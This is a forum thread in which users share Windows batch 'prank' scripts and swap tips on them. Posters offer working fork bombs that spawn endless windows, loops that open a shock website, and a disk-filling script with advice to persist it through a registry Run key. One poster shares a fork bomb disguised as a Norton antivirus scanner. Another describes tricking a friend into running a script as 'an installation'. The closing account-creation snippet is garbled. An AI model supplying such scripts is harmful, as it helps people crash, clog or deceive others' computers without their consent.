 try this one

@echo off
start www.meatspin.com

or if your feeling particularly mean

@echo off
:A
start www.meatspin.com
goto A


this will open meatspin in an infinite loop.

note: the website can be substituted for one of your own choice if you wish :)

I just joined the site on the advice of my friend and saw your posting. Well what can i say? Meat spin kinda sparked my curiousity. So I googled it and could not closed the browser quick enough. Never the less I have to admit it was horrible. I will use the site for my own fiendish plots. LOL Thanks!!!!

[messmaker]

want to get any noober?

[dawsonj]

i wont even comment on that...

[Kingfisher111]

Meat Spin makes me sick

[V1P]

use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !

[noobererer]

HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)

[V1P]

Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)

[uberdum05]

Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now.......
(muhahahaha!)

[noobererer]

second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P

[V1P]

hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(

[noobererer]

Sweet! Can't wait to see 'em :)

[karmakid732]

that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down

[ghostWolf59]

Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he

[V1P]

Nice :)

[knex_mepalm]

what does that do? Looks good, but i'm in no way to test it

[ghostWolf59]

indefinite loop that sends out "0" to an ever growing log file

[knex_mepalm]

i wanna prank my friend how long would the process take and how would the windows and such work?

[ghostWolf59]

if you look closely at the script you'll notice its only sending out one character to the log followed by appending another character to the log (i.e its now two characters) and so on... The time it will take all depends on the size of the hard disk. Also note the if the disk is formatted with fat32 this will only work up to 4Gb. If the hdd is formatted using NTFS the limit is 16Tb. The thing to do is to add this little script to the windows startup of even add a registry entry to the "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run" (Please do NOT hack your registry unless you know exactly what you do - you may damage your system for good) (You can also add a shortcut that minimizes the the terminal window. As some other posts suggested - its really simple to end this task off by hitting CTRL-D so don't expect to much out of this.

[knex_mepalm]

lol i told him it was an installation, but how would it show up as? a cmd with 0s?

[kerpaul]

no offense, but that isn't even a fork bomb :) its just a bit annoying, can easily be ended in taskmanager or just tskill in CMD :D (since the filename is used as the process name as well) :3

[tigger888]

Thats why you make

@echo off
start tryandclosethis.bat
exit

have fun trying to end task this...

[ghostWolf59]

I am not here to spread viruses or damaging forks ! As the title clearly states "fun things to do with batch files" the aim was to create some fun with bat files. If you are looking for damaging stuff I suggest you search some other warez posts on the web - this forum is definitely the wrong one.

[V1P]

No offence 2 u mate 2 ! It's just a batch script , having 3 lines of code not a virus, so it can't be a FORK Bomb at all..., but is well enough to annoy you when a hoard of cmd screens pop-up in front of you, which can't be closed by pressing down Alt+F4. also, try switching on your taskmgr after executing this batch script, then I guess that it'll be pretty difficult to even bring up taskmgr at all. & even if it comes up, terminating all the cmd's will be a tedious task. It's just for fun & is not meant to do any harm to anyone... :P Though if you want fork bombs, then those also can be made... but with not 3 lines of code ... :)

[kerpaul]

i know. but i call it a fork bomb because it split itself into 2 (only in a sense) and forks out, like a fork in the road. :3

[V1P]

??????? wht was tht ?

[darman12]

Meaning the number of windows opening increases at an exponential rate.

[kerpaul]

read it again. i won't explain any simpler. -.-

[twitch2009]

net user /active no|yes -to disable and enable accounts and net user (username) (password)

[kerpaul]

i think those ones beed admin access, because the function needs it, not the command. in other words, it doesn't matter how you do it, it won't work. im more into website hacking now anyway, might have something for you guys in the near future.

[noobererer]

can u post something on website hacking then?

[erikals]

i made a batch file that is a fork bomb but it pretends to be a harmless antivirus app. Here's the code if any one is interested: @echo off echo Norton AV v1.99 (build 33) echo. echo Welcome to Norton Anti-Virus. echo This helpful application echo will search and destroy echo any cruel virus that may echo be lurking on your computer. echo Please press any key to start scanning. pause goto forkbomb :forkbomb start goto forkbomb Copy this into notepad and paste it. Also if any one could give me ideas on how to make it more real that would be appreciated.

[kerpaul]

not many people know this, but that isn't a fork bomb :o it doesn't "fork out". sure, it starts things something over and over, but a fork bomb starts any program (take calc for example) and then restarts itself, and loops. for example, if you name the program forkbomb.bat: @echo off :A start calc start forkbomb.bat goto A That is what one calls a fork bomb :3 also, to make yours more realistic, try putting more text into a single window, perhaps use object oriented programming instead of batch? (lets you create windows that will look more professional).

[twitch2009]

to make a batch file create accounts use this code for ex.

@echo off
echo
color 0a
echo
echo new user=1
echo
echo *_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
echo
echo *_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*
echo
echo
echo
echo
set 1.New user
echo
echo
echo
set/p=%udefine%
echo
echo
